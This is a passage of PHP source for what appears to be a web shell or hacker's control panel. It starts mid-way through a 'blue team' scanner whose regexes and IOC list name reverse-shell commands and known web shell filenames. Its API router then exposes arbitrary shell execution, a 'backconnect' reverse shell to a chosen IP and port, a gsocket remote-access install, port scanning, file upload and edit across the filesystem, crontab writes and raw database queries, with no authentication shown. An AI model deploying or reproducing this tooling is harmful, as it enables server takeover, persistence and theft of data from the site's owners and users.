$cmd2 = ‘find ‘ . escapeshellarg($root) . ‘ -maxdepth 7 -type d -perm -0002 2>/dev/null | head -30’;
$out2 = runTerminal($cmd2, $baseDir);
if (trim($out2[‘output’]) !== ”) {
$lines[] = ‘World-writable directories:’;
$lines[] = trim($out2[‘output’]);
$lines[] = ”;
}
}
if (count($lines) <= 2) $lines[] = $isWin ? '(Linux permission scan only)' : '(no world-writable files found)';
return array('ok' => true, ‘output’ => implode(“\n”, $lines));
}
function btHiddenScan($baseDir, $scanPath)
{
$roots = btGetScanRoots($baseDir, $scanPath);
$isWin = strtoupper(substr(PHP_OS, 0, 3)) === ‘WIN’;
$lines = array(‘=== HIDDEN / DOT FILES (executable scripts) ===’, ”);
foreach ($roots as $root) {
if ($isWin) continue;
$cmd = ‘find ‘ . escapeshellarg($root) . ‘ -maxdepth 8 -name “.*” -type f \( -name “*.php*” -o -name “*.pl” -o -name “*.sh” -o -name “*.py” -o -name “.htaccess” -o -name “.user.ini” \) -ls 2>/dev/null | head -50’;
$out = runTerminal($cmd, $baseDir);
if (trim($out[‘output’]) !== ”) {
$lines[] = ‘— ‘ . $root . ‘ —‘;
$lines[] = trim($out[‘output’]);
$lines[] = ”;
}
}
if (count($lines) <= 2) $lines[] = '(no suspicious hidden scripts found)';
return array('ok' => true, ‘output’ => implode(“\n”, $lines));
}
function btCronAudit($baseDir)
{
$cron = getCrontab();
$lines = array(‘=== CRON PERSISTENCE AUDIT ===’, ‘Platform: ‘ . $cron[‘platform’], ”);
$suspicious = array(
‘/\bcurl\b.*\|\s*(ba)?sh/is’, ‘/\bwget\b.*\|\s*(ba)?sh/is’,
‘/\/dev\/tcp\//is’, ‘/\bbash\s+-i/is’, ‘/\bnc\s+-/is’,
‘/base64\s+-d/is’, ‘/\beval\b/is’, ‘/\bpython\s+-c/is’,
‘/\bperl\s+-e/is’, ‘/\b\/tmp\//is’, ‘/\bchmod\s+\+x/is’,
‘/gsocket/is’, ‘/\breverse\b/is’, ‘/\bbackdoor\b/is’,
);
$content = $cron[‘content’];
if (trim($content) === ”) {
$lines[] = ‘(empty crontab)’;
} else {
$ln = 0;
foreach (explode(“\n”, $content) as $line) {
$line = trim($line);
if ($line === ” || $line[0] === ‘#’) continue;
$ln++;
$flags = array();
foreach ($suspicious as $pat) {
if (preg_match($pat, $line)) $flags[] = ‘SUSPICIOUS’;
}
$prefix = empty($flags) ? ‘[OK] ‘ : ‘[WARN] ‘;
$lines[] = $prefix . $line;
}
if ($ln === 0) $lines[] = ‘(no active cron entries)’;
}
$isWin = strtoupper(substr(PHP_OS, 0, 3)) === ‘WIN’;
if (!$isWin) {
$etc = runTerminal(‘ls -la /etc/cron* 2>/dev/null; grep -rH . /etc/cron.d/ /etc/cron.daily/ 2>/dev/null | head -30’, $baseDir);
$lines[] = ”;
$lines[] = ‘=== /etc/cron* (sample) ===’;
$lines[] = trim($etc[‘output’]);
}
return array(‘ok’ => true, ‘output’ => implode(“\n”, $lines));
}
function btLogAudit($baseDir)
{
$isWin = strtoupper(substr(PHP_OS, 0, 3)) === ‘WIN’;
$lines = array(‘=== AUTH / SECURITY LOG AUDIT ===’, ”);
if ($isWin) {
$out = runTerminal(‘wevtutil qe Security /c:20 /rd:true /f:text 2>nul’, $baseDir);
$lines[] = trim($out[‘output’]) ?: ‘(Windows event query unavailable)’;
} else {
$cmds = array(
‘Failed SSH/auth (last 40)’ => ‘grep -iE “Failed password|Invalid user|authentication failure|refused connect” /var/log/auth.log /var/log/secure 2>/dev/null | tail -40’,
‘sudo usage (last 20)’ => ‘grep -i sudo /var/log/auth.log /var/log/secure 2>/dev/null | tail -20’,
‘Web server errors (last 20)’ => ‘grep -iE “eval|base64|shell|cmd=|/etc/passwd” /var/log/apache2/error.log /var/log/httpd/error_log /var/log/nginx/error.log 2>/dev/null | tail -20’,
);
foreach ($cmds as $label => $cmd) {
$out = runTerminal($cmd, $baseDir);
$lines[] = ‘— ‘ . $label . ‘ —‘;
$lines[] = trim($out[‘output’]) ?: ‘(no entries or log not accessible)’;
$lines[] = ”;
}
}
return array(‘ok’ => true, ‘output’ => implode(“\n”, $lines));
}
function btIocScan($baseDir, $scanPath)
{
$roots = btGetScanRoots($baseDir, $scanPath);
$iocs = array(‘c99′,’r57′,’wso’,’b374k’,’shell’,’backdoor’,’cmd’,’uploader’,’alfa’,’indoxploit’,’mini’,’hack’,’exploit’,’webshell’,’c100′,’r00t’,’anonymous’,’leaf’,’marijuana’,’fox’,’upl’);
$isWin = strtoupper(substr(PHP_OS, 0, 3)) === ‘WIN’;
$lines = array(‘=== IOC FILENAME HUNT ===’, ”);
$found = 0;
foreach ($roots as $root) {
if (!$isWin) {
$nameExpr = array();
foreach ($iocs as $ioc) {
$nameExpr[] = ‘-iname ‘ . escapeshellarg(‘*’ . $ioc . ‘*.php’);
$nameExpr[] = ‘-iname ‘ . escapeshellarg(‘*’ . $ioc . ‘*.phtml’);
}
$cmd = ‘find ‘ . escapeshellarg($root) . ‘ -maxdepth 8 \( ‘ . implode(‘ -o ‘, $nameExpr) . ‘ \) -type f 2>/dev/null | head -40’;
$out = runTerminal($cmd, $baseDir);
if (trim($out[‘output’]) !== ”) {
$lines[] = ‘— ‘ . $root . ‘ —‘;
$lines[] = trim($out[‘output’]);
$found += substr_count($out[‘output’], “\n”) + 1;
$lines[] = ”;
}
}
}
if ($found === 0) $lines[] = ‘(no IOC filename matches)’;
return array(‘ok’ => true, ‘output’ => implode(“\n”, $lines), ‘count’ => $found);
}
function btSuspiciousProcess($baseDir)
{
$isWin = strtoupper(substr(PHP_OS, 0, 3)) === ‘WIN’;
if ($isWin) {
$out = runTerminal(‘tasklist /V’, $baseDir);
} else {
$out = runTerminal(‘ps auxww 2>/dev/null | grep -iE “nc |/dev/tcp|python -c|perl -e|bash -i|gsocket|cryptominer|xmrig|masscan|sqlmap” | grep -v grep’, $baseDir);
if (trim($out[‘output’]) === ”) {
$out[‘output’] = “(no suspicious process patterns matched)\n\nFull process list (top 30):\n” . runTerminal(‘ps auxww 2>/dev/null | head -30’, $baseDir)[‘output’];
}
}
return array(‘ok’ => true, ‘output’ => “=== SUSPICIOUS PROCESS SCAN ===\n\n” . $out[‘output’]);
}
function btFullAudit($baseDir, $scanPath)
{
@set_time_limit(600);
$parts = array();
$r1 = btWebshellScan($baseDir, $scanPath, true);
$parts[] = $r1[‘output’];
$parts[] = str_repeat(‘-‘, 60);
$parts[] = btRecentChanges($baseDir, $scanPath, 7)[‘output’];
$parts[] = str_repeat(‘-‘, 60);
$parts[] = btWritableScan($baseDir, $scanPath)[‘output’];
$parts[] = str_repeat(‘-‘, 60);
$parts[] = btHiddenScan($baseDir, $scanPath)[‘output’];
$parts[] = str_repeat(‘-‘, 60);
$parts[] = btCronAudit($baseDir)[‘output’];
$parts[] = str_repeat(‘-‘, 60);
$parts[] = btIocScan($baseDir, $scanPath)[‘output’];
$parts[] = str_repeat(‘-‘, 60);
$parts[] = btSuspiciousProcess($baseDir)[‘output’];
$parts[] = str_repeat(‘-‘, 60);
$parts[] = btLogAudit($baseDir)[‘output’];
return array(
‘ok’ => true,
‘output’ => implode(“\n\n”, $parts),
‘count’ => isset($r1[‘count’]) ? $r1[‘count’] : 0,
‘critical’ => isset($r1[‘critical’]) ? $r1[‘critical’] : 0,
);
}
function runBlueTool($tool, $input, $baseDir)
{
$tool = strtolower(trim((string)$tool));
$scanPath = (string)_v($input, ‘path’, ”);
$days = (int)_v($input, ‘days’, 7);
switch ($tool) {
case ‘backdoor’:
$aggressive = _v($input, ‘aggressive’, true);
return btWebshellScan($baseDir, $scanPath, $aggressive);
case ‘delete_threats’:
$paths = _v($input, ‘paths’, array());
if (is_string($paths)) {
$decoded = json_decode($paths, true);
$paths = is_array($decoded) ? $decoded : array($paths);
}
return btDeleteThreats($baseDir, $paths);
case ‘quarantine_list’:
return btListQuarantine($baseDir);
case ‘restore_threats’:
$ids = _v($input, ‘ids’, array());
if (is_string($ids)) {
$decoded = json_decode($ids, true);
$ids = is_array($decoded) ? $decoded : array($ids);
}
return btRestoreThreats($baseDir, $ids);
case ‘fullaudit’:
return btFullAudit($baseDir, $scanPath);
case ‘recent’:
return btRecentChanges($baseDir, $scanPath, $days);
case ‘writable’:
return btWritableScan($baseDir, $scanPath);
case ‘hidden’:
return btHiddenScan($baseDir, $scanPath);
case ‘cron’:
return btCronAudit($baseDir);
case ‘logs’:
return btLogAudit($baseDir);
case ‘ioc’:
return btIocScan($baseDir, $scanPath);
case ‘process’:
return btSuspiciousProcess($baseDir);
default:
return array(‘ok’ => false, ‘error’ => ‘Unknown blue team tool’);
}
}
function dbMakePdo($type, $host, $port, $user, $pass, $db)
{
$type = strtolower(trim((string)$type));
$host = trim((string)$host);
$user = (string)$user;
$pass = (string)$pass;
$db = trim((string)$db);
$port = (int)$port;
if (!class_exists(‘PDO’)) {
return array(‘ok’ => false, ‘error’ => ‘PDO extension not available’);
}
try {
if ($type === ‘sqlite’) {
if ($db === ”) {
return array(‘ok’ => false, ‘error’ => ‘Database file path required’);
}
$pdo = new PDO(‘sqlite:’ . $db);
} elseif ($type === ‘mysql’) {
if ($host === ”) $host = ‘127.0.0.1’;
if ($port <= 0) $port = 3306;
$dsn = 'mysql:host=' . $host . ';port=' . $port . ';dbname=' . $db . ';charset=utf8mb4';
$pdo = new PDO($dsn, $user, $pass, array(PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION));
} elseif ($type === ‘pgsql’) {
if ($host === ”) $host = ‘127.0.0.1’;
if ($port <= 0) $port = 5432;
$dsn = 'pgsql:host=' . $host . ';port=' . $port . ';dbname=' . $db;
$pdo = new PDO($dsn, $user, $pass, array(PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION));
} else {
return array(‘ok’ => false, ‘error’ => ‘Unsupported DB type’);
}
$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
return array(‘ok’ => true, ‘pdo’ => $pdo);
} catch (Exception $e) {
return array(‘ok’ => false, ‘error’ => $e->getMessage());
}
}
function dbRunQuery($type, $host, $port, $user, $pass, $db, $sql)
{
$sql = trim((string)$sql);
if ($sql === ”) {
return array(‘ok’ => false, ‘error’ => ‘Empty query’);
}
$conn = dbMakePdo($type, $host, $port, $user, $pass, $db);
if (!$conn[‘ok’]) return $conn;
/** @var PDO $pdo */
$pdo = $conn[‘pdo’];
try {
$stmt = $pdo->query($sql);
if ($stmt === false) {
return array(‘ok’ => true, ‘type’ => ‘exec’, ‘affected’ => $pdo->lastInsertId(), ‘message’ => ‘Query executed’);
}
$rows = $stmt->fetchAll(PDO::FETCH_ASSOC);
$cols = array();
if (!empty($rows)) {
$cols = array_keys($rows[0]);
} else {
$colCount = $stmt->columnCount();
for ($i = 0; $i < $colCount; $i++) {
$meta = $stmt->getColumnMeta($i);
if ($meta && isset($meta[‘name’])) $cols[] = $meta[‘name’];
}
}
return array(‘ok’ => true, ‘type’ => ‘select’, ‘columns’ => $cols, ‘rows’ => $rows, ‘count’ => count($rows));
} catch (Exception $e) {
return array(‘ok’ => false, ‘error’ => $e->getMessage());
}
}
function dbListTables($type, $host, $port, $user, $pass, $db)
{
$conn = dbMakePdo($type, $host, $port, $user, $pass, $db);
if (!$conn[‘ok’]) return $conn;
/** @var PDO $pdo */
$pdo = $conn[‘pdo’];
$type = strtolower(trim((string)$type));
try {
if ($type === ‘mysql’) {
$stmt = $pdo->query(‘SHOW TABLES’);
} elseif ($type === ‘pgsql’) {
$stmt = $pdo->query(“SELECT tablename FROM pg_tables WHERE schemaname=’public’ ORDER BY tablename”);
} elseif ($type === ‘sqlite’) {
$stmt = $pdo->query(“SELECT name FROM sqlite_master WHERE type=’table’ ORDER BY name”);
} else {
return array(‘ok’ => false, ‘error’ => ‘Unsupported DB type’);
}
$tables = array();
while ($row = $stmt->fetch(PDO::FETCH_NUM)) {
$tables[] = $row[0];
}
return array(‘ok’ => true, ‘tables’ => $tables);
} catch (Exception $e) {
return array(‘ok’ => false, ‘error’ => $e->getMessage());
}
}
// Helper untuk akses array yang aman (pengganti operator ??)
function _v($arr, $key, $default = ”) {
return (isset($arr[$key]) && $arr[$key] !== null) ? $arr[$key] : $default;
}
// Handle download requests
if (isset($_GET[‘download’])) {
$path = resolvePath($baseDir, (string)$_GET[‘download’]);
if (!$path || is_dir($path)) { http_response_code(404); exit(‘Not found’); }
header(‘Content-Type: application/octet-stream’);
header(‘Content-Disposition: attachment; filename=”‘ . basename($path) . ‘”‘);
header(‘Content-Length: ‘ . filesize($path));
readfile($path); exit;
}
// Handle inline view requests (image preview, raw text view)
if (isset($_GET[‘view’])) {
$path = resolvePath($baseDir, (string)$_GET[‘view’]);
if (!$path || is_dir($path)) { http_response_code(404); exit(‘Not found’); }
$ext = strtolower(pathinfo($path, PATHINFO_EXTENSION));
$mimes = array(
‘png’ => ‘image/png’,
‘jpg’ => ‘image/jpeg’,
‘jpeg’ => ‘image/jpeg’,
‘gif’ => ‘image/gif’,
‘webp’ => ‘image/webp’,
‘svg’ => ‘image/svg+xml’,
‘ico’ => ‘image/x-icon’,
‘bmp’ => ‘image/bmp’,
‘avif’ => ‘image/avif’,
‘pdf’ => ‘application/pdf’,
);
$mime = isset($mimes[$ext]) ? $mimes[$ext] : ‘application/octet-stream’;
header(‘Content-Type: ‘ . $mime);
header(‘Content-Length: ‘ . filesize($path));
header(‘X-Content-Type-Options: nosniff’);
header(‘Content-Disposition: inline; filename=”‘ . basename($path) . ‘”‘);
header(‘Cache-Control: private, max-age=300’);
readfile($path);
exit;
}
// Adminer — single-file DB manager (cached locally)
if (isset($_GET[‘adminer’])) {
$adminerFile = __DIR__ . DIRECTORY_SEPARATOR . ‘.adminer.php’;
if (!is_file($adminerFile)) {
$ctx = stream_context_create(array(‘http’ => array(‘timeout’ => 15)));
$data = @file_get_contents(‘https://www.adminer.org/latest.php’, false, $ctx);
if ($data && strlen($data) > 1000) {
@file_put_contents($adminerFile, $data);
}
}
if (is_file($adminerFile)) {
include $adminerFile;
exit;
}
http_response_code(503);
echo ‘Adminer unavailable (download failed). Use built-in DB Manager.’;
exit;
}
if (isset($_GET[‘phpinfo’])) {
phpinfo();
exit;
}
// Handle API requests
if (isset($_GET[‘api’])) {
$contentType = isset($_SERVER[‘CONTENT_TYPE’]) ? $_SERVER[‘CONTENT_TYPE’] : ”;
$hasJson = strpos($contentType, ‘application/json’) !== false;
if ($hasJson) {
$raw = file_get_contents(‘php://input’);
if (!$raw) $raw = ‘{}’;
$decoded = json_decode($raw, true);
$input = is_array($decoded) ? $decoded : array();
} else {
$input = $_POST;
}
$action = (string)_v($input, ‘action’, _v($_GET, ‘action’, ‘list’));
switch ($action) {
case ‘list’:
$rel = sanitizeRelPath((string)_v($input, ‘path’, ”));
// Determine the directory to list
if (preg_match(‘/^[A-Za-z]:\//’, $rel)) {
// Absolute Windows path
$dir = str_replace(‘/’, DIRECTORY_SEPARATOR, $rel);
} elseif (strlen($rel) > 0 && $rel[0] === ‘/’) {
// Absolute Linux path
$dir = $rel;
} elseif ($rel === ”) {
// Default base directory
$dir = $baseDir;
} else {
// Relative path
$dir = resolvePath($baseDir, $rel);
}
if (!$dir || !is_dir($dir)) {
jsonOut(array(‘ok’ => false, ‘error’ => ‘Invalid directory: ‘ . $rel), 403);
}
jsonOut(array(
‘ok’ => true,
‘path’ => $rel,
‘entries’ => listEntries($dir),
‘disk’ => array(
‘free’ => @disk_free_space($dir),
‘total’ => @disk_total_space($dir),
),
));
break;
case ‘read’:
$path = resolvePath($baseDir, (string)_v($input, ‘path’, ”));
if (!$path || is_dir($path)) jsonOut(array(‘ok’ => false, ‘error’ => ‘File not found’), 404);
$sz = filesize($path);
if (!isTextFile($path) && (int)($sz ? $sz : 0) > 512000) jsonOut(array(‘ok’ => false, ‘error’ => ‘File too large or binary’), 400);
jsonOut(array(
‘ok’ => true,
‘content’ => file_get_contents($path),
‘editable’ => isTextFile($path),
‘size’ => filesize($path),
‘modified’ => filemtime($path),
));
break;
case ‘save’:
$path = resolvePath($baseDir, (string)_v($input, ‘path’, ”));
if (!$path || is_dir($path)) jsonOut(array(‘ok’ => false, ‘error’ => ‘File not found’), 404);
if (file_put_contents($path, (string)_v($input, ‘content’, ”)) === false) jsonOut(array(‘ok’ => false, ‘error’ => ‘Write failed’), 500);
jsonOut(array(‘ok’ => true, ‘modified’ => filemtime($path)));
break;
case ‘mkdir’:
$rel = sanitizeRelPath((string)_v($input, ‘path’, ”));
$name = basename(str_replace(‘\\’, ‘/’, (string)_v($input, ‘name’, ”)));
if ($name === ” || preg_match(‘/[<>:”|?*\\\\\/]/’, $name)) jsonOut(array(‘ok’ => false, ‘error’ => ‘Invalid name’), 400);
$parent = resolvePath($baseDir, $rel);
if (!$parent || !is_dir($parent)) jsonOut(array(‘ok’ => false, ‘error’ => ‘Invalid directory’), 403);
$new = $parent . DIRECTORY_SEPARATOR . $name;
if (file_exists($new)) jsonOut(array(‘ok’ => false, ‘error’ => ‘Already exists’), 409);
if (!@mkdir($new, 0755)) jsonOut(array(‘ok’ => false, ‘error’ => ‘Create failed’), 500);
jsonOut(array(‘ok’ => true));
break;
case ‘create_file’:
$rel = sanitizeRelPath((string)_v($input, ‘path’, ”));
$name = basename(str_replace(‘\\’, ‘/’, (string)_v($input, ‘name’, ”)));
if ($name === ” || preg_match(‘/[<>:”|?*\\\\\/]/’, $name)) jsonOut(array(‘ok’ => false, ‘error’ => ‘Invalid name’), 400);
$parent = resolvePath($baseDir, $rel);
if (!$parent || !is_dir($parent)) jsonOut(array(‘ok’ => false, ‘error’ => ‘Invalid directory’), 403);
$new = $parent . DIRECTORY_SEPARATOR . $name;
if (file_exists($new)) jsonOut(array(‘ok’ => false, ‘error’ => ‘Already exists’), 409);
if (file_put_contents($new, (string)_v($input, ‘content’, ”)) === false) jsonOut(array(‘ok’ => false, ‘error’ => ‘Create failed’), 500);
jsonOut(array(‘ok’ => true));
break;
case ‘delete’:
$path = resolvePath($baseDir, (string)_v($input, ‘path’, ”));
if (!$path || $path === $baseDir) jsonOut(array(‘ok’ => false, ‘error’ => ‘Cannot delete’), 403);
$ok = is_dir($path) ? @rmdir($path) : @unlink($path);
if (!$ok) jsonOut(array(‘ok’ => false, ‘error’ => ‘Delete failed (folder must be empty)’), 500);
jsonOut(array(‘ok’ => true));
break;
case ‘rename’:
$path = resolvePath($baseDir, (string)_v($input, ‘path’, ”));
$newName = basename(str_replace(‘\\’, ‘/’, (string)_v($input, ‘new_name’, ”)));
if (!$path || $newName === ” || preg_match(‘/[<>:”|?*\\\\\/]/’, $newName)) jsonOut(array(‘ok’ => false, ‘error’ => ‘Invalid request’), 400);
$dest = dirname($path) . DIRECTORY_SEPARATOR . $newName;
if (file_exists($dest)) jsonOut(array(‘ok’ => false, ‘error’ => ‘Name taken’), 409);
if (!@rename($path, $dest)) jsonOut(array(‘ok’ => false, ‘error’ => ‘Rename failed’), 500);
jsonOut(array(‘ok’ => true, ‘new_path’ => ltrim(str_replace(‘\\’, ‘/’, substr($dest, strlen($baseDir))), ‘/’)));
break;
case ‘chmod’:
$path = resolvePath($baseDir, (string)_v($input, ‘path’, ”));
if (!$path) jsonOut(array(‘ok’ => false, ‘error’ => ‘File not found’), 404);
$permString = (string)_v($input, ‘perm’, ”);
if (!preg_match(‘/^[0-7]{3,4}$/’, $permString)) {
jsonOut(array(‘ok’ => false, ‘error’ => ‘Invalid permission format. Use octal (e.g., 755 or 0644)’), 400);
}
$octalPerm = octdec($permString);
if (!@chmod($path, (int)$octalPerm)) {
jsonOut(array(‘ok’ => false, ‘error’ => ‘Failed to change permissions’), 500);
}
clearstatcache(true, $path);
$newPerm = substr(sprintf(‘%o’, fileperms($path)), -4);
jsonOut(array(‘ok’ => true, ‘perm’ => $newPerm));
break;
case ‘upload’:
$rel = sanitizeRelPath((string)_v($_POST, ‘path’, ”));
$parent = resolvePath($baseDir, $rel);
if (!$parent || !is_dir($parent)) {
jsonOut(array(‘ok’ => false, ‘error’ => ‘Invalid directory: ‘ . $rel), 403);
}
if (empty($_FILES[‘file’])) {
jsonOut(array(‘ok’ => false, ‘error’ => ‘No file uploaded’), 400);
}
$f = $_FILES[‘file’];
if ($f[‘error’] !== UPLOAD_ERR_OK) {
$errors = array(
UPLOAD_ERR_INI_SIZE => ‘File too large (server limit: ‘ . ini_get(‘upload_max_filesize’) . ‘)’,
UPLOAD_ERR_FORM_SIZE => ‘File too large (form limit)’,
UPLOAD_ERR_PARTIAL => ‘File only partially uploaded’,
UPLOAD_ERR_NO_FILE => ‘No file uploaded’,
UPLOAD_ERR_NO_TMP_DIR => ‘Missing temporary folder’,
UPLOAD_ERR_CANT_WRITE => ‘Failed to write file’,
UPLOAD_ERR_EXTENSION => ‘Upload blocked by extension’,
);
$errorMsg = isset($errors[$f[‘error’]]) ? $errors[$f[‘error’]] : (‘Unknown upload error (code: ‘ . $f[‘error’] . ‘)’);
jsonOut(array(‘ok’ => false, ‘error’ => $errorMsg), 400);
}
$name = basename($f[‘name’]);
$name = preg_replace(‘/[<>:”|?*\\\\\/]/’, ”, $name);
$name = trim($name);
if ($name === ”) {
jsonOut(array(‘ok’ => false, ‘error’ => ‘Invalid filename’), 400);
}
$dest = $parent . DIRECTORY_SEPARATOR . $name;
if (file_exists($dest)) {
$info = pathinfo($name);
$filename = isset($info[‘filename’]) ? $info[‘filename’] : $name;
$extension = isset($info[‘extension’]) ? $info[‘extension’] : ”;
$name = $filename . ‘_’ . time() . ($extension !== ” ? ‘.’ . $extension : ”);
$dest = $parent . DIRECTORY_SEPARATOR . $name;
}
if (!move_uploaded_file($f[‘tmp_name’], $dest)) {
jsonOut(array(‘ok’ => false, ‘error’ => ‘Failed to save file. Check folder permissions.’), 500);
}
@chmod($dest, 0644);
jsonOut(array(‘ok’ => true, ‘name’ => $name, ‘message’ => ‘Upload successful’));
break;
case ‘search’:
$query = trim((string)_v($input, ‘query’, ”));
if ($query === ”) jsonOut(array(‘ok’ => true, ‘results’ => array()));
$results = array(); $count = 0;
searchFiles($baseDir, sanitizeRelPath((string)_v($input, ‘path’, ”)), $query, $results, $count);
jsonOut(array(‘ok’ => true, ‘results’ => $results));
break;
case ‘terminal’:
$rel = sanitizeRelPath((string)_v($input, ‘path’, ”));
$cwd = resolvePath($baseDir, $rel);
if (!$cwd || !is_dir($cwd)) jsonOut(array(‘ok’ => false, ‘error’ => ‘Invalid cwd’), 403);
$command = trim((string)_v($input, ‘command’, ”));
if ($command === ”) jsonOut(array(‘ok’ => false, ‘error’ => ‘Empty command’), 400);
$result = runTerminal($command, $cwd);
jsonOut(array(‘ok’ => true, ‘output’ => $result[‘output’], ‘exit_code’ => $result[‘exit_code’], ‘cwd’ => $rel));
break;
case ‘drives’:
$drives = array();
if (strtoupper(substr(PHP_OS, 0, 3)) === ‘WIN’) {
for ($i = 67; $i <= 90; $i++) {
$drive = chr($i) . ':/';
if (@is_dir($drive)) {
$free = @disk_free_space($drive);
$total = @disk_total_space($drive);
$drives[] = array(
'letter' => chr($i) . ‘:’,
‘path’ => $drive,
‘free’ => $free ? $free : 0,
‘total’ => $total ? $total : 0,
‘label’ => chr($i) . ‘:\\’,
);
}
}
} else {
// Linux/Mac – show root and common paths
$commonPaths = array(
‘/’ => ‘Root (/)’,
‘/home’ => ‘Home (/home)’,
‘/var’ => ‘Var (/var)’,
‘/etc’ => ‘Etc (/etc)’,
‘/usr’ => ‘Usr (/usr)’,
‘/tmp’ => ‘Tmp (/tmp)’,
);
foreach ($commonPaths as $path => $label) {
if (@is_dir($path)) {
$free = @disk_free_space($path);
$total = @disk_total_space($path);
$drives[] = array(
‘letter’ => $path,
‘path’ => $path,
‘free’ => $free ? $free : 0,
‘total’ => $total ? $total : 0,
‘label’ => $label,
);
}
}
// Add current document root
if (@is_dir($baseDir) && $baseDir !== ‘/’) {
$free = @disk_free_space($baseDir);
$total = @disk_total_space($baseDir);
$drives[] = array(
‘letter’ => $baseDir,
‘path’ => $baseDir,
‘free’ => $free ? $free : 0,
‘total’ => $total ? $total : 0,
‘label’ => ‘Document Root: ‘ . basename($baseDir),
);
}
}
jsonOut(array(‘ok’ => true, ‘drives’ => $drives));
break;
case ‘info’:
jsonOut(array(
‘ok’ => true,
‘php’ => PHP_VERSION,
‘os’ => PHP_OS,
‘base’ => $baseDir,
‘disk_free’ => @disk_free_space($baseDir),
‘disk_total’ => @disk_total_space($baseDir),
));
break;
case ‘cron_list’:
$cron = getCrontab();
jsonOut(array(
‘ok’ => true,
‘content’ => $cron[‘content’],
‘platform’ => $cron[‘platform’],
‘editable’ => $cron[‘editable’],
));
break;
case ‘cron_save’:
$content = (string)_v($input, ‘content’, ”);
$result = setCrontab($content);
if (!$result[‘ok’]) jsonOut($result, 400);
jsonOut(array(‘ok’ => true));
break;
case ‘portscan’:
$host = trim((string)_v($input, ‘host’, ‘127.0.0.1’));
$ports = trim((string)_v($input, ‘ports’, ‘21,22,25,80,443,3306,8080’));
$timeout = (int)_v($input, ‘timeout’, 1);
$result = scanPorts($host, $ports, $timeout);
if (!$result[‘ok’]) jsonOut($result, 400);
jsonOut($result);
break;
case ‘backconnect’:
$ip = trim((string)_v($input, ‘ip’, ”));
$port = (int)_v($input, ‘port’, 4444);
$method = (string)_v($input, ‘method’, ‘bash’);
$result = startBackconnect($ip, $port, $method);
if (!$result[‘ok’]) jsonOut($result, 400);
jsonOut($result);
break;
case ‘gsocket’:
@set_time_limit(1800);
@ini_set(‘max_execution_time’, ‘1800’);
$method = (string)_v($input, ‘method’, ‘curl’);
$result = runGsocket($method);
if (!$result[‘ok’]) jsonOut($result, 400);
jsonOut($result);
break;
case ‘db_tables’:
$result = dbListTables(
(string)_v($input, ‘type’, ‘mysql’),
(string)_v($input, ‘host’, ‘127.0.0.1’),
(int)_v($input, ‘port’, 3306),
(string)_v($input, ‘user’, ‘root’),
(string)_v($input, ‘pass’, ”),
(string)_v($input, ‘db’, ”)
);
if (!$result[‘ok’]) jsonOut($result, 400);
jsonOut($result);
break;
case ‘db_query’:
$result = dbRunQuery(
(string)_v($input, ‘type’, ‘mysql’),
(string)_v($input, ‘host’, ‘127.0.0.1’),
(int)_v($input, ‘port’, 3306),
(string)_v($input, ‘user’, ‘root’),
(string)_v($input, ‘pass’, ”),
(string)_v($input, ‘db’, ”),
(string)_v($input, ‘sql’, ”)
);
if (!$result[‘ok’]) jsonOut($result, 400);
jsonOut($result);
break;
case ‘sec_tool’:
@set_time_limit(120);
$tool = (string)_v($input, ‘tool’, ‘recon’);
$result = runSecTool($tool, $input, $baseDir);
if (!$result[‘ok’]) jsonOut($result, 400);
jsonOut($result);
break;
case ‘blue_tool’:
@set_time_limit(600);
@ini_set(‘max_execution_time’, ‘600’);
$tool = (string)_v($input, ‘tool’, ‘backdoor’);
$result = runBlueTool($tool, $input, $baseDir);
if (!$result[‘ok’]) jsonOut($result, 400);
jsonOut($result);
break;
case ‘blue_delete’:
$paths = _v($input, ‘paths’, array());
if (is_string($paths)) {
$decoded = json_decode($paths, true);
$paths = is_array($decoded) ? $decoded : array($paths);
}
$result = btDeleteThreats($baseDir, $paths);
if (!$result[‘ok’]) jsonOut($result, 400);
jsonOut($result);
break;
case ‘blue_quarantine_list’:
$result = btListQuarantine($baseDir);
jsonOut($result);
break;
case ‘blue_restore’:
$ids = _v($input, ‘ids’, array());
if (is_string($ids)) {
$decoded = json_decode($ids, true);
$ids = is_array($decoded) ? $decoded : array($ids);
}
$result = btRestoreThreats($baseDir, $ids);
if (!$result[‘ok’]) jsonOut($result, 400);
jsonOut($result);
break;
default:
jsonOut(array(‘ok’ => false, ‘error’ => ‘Unknown action’), 400);
}
exit;
}
?>
Loading workspace…
Fetching your files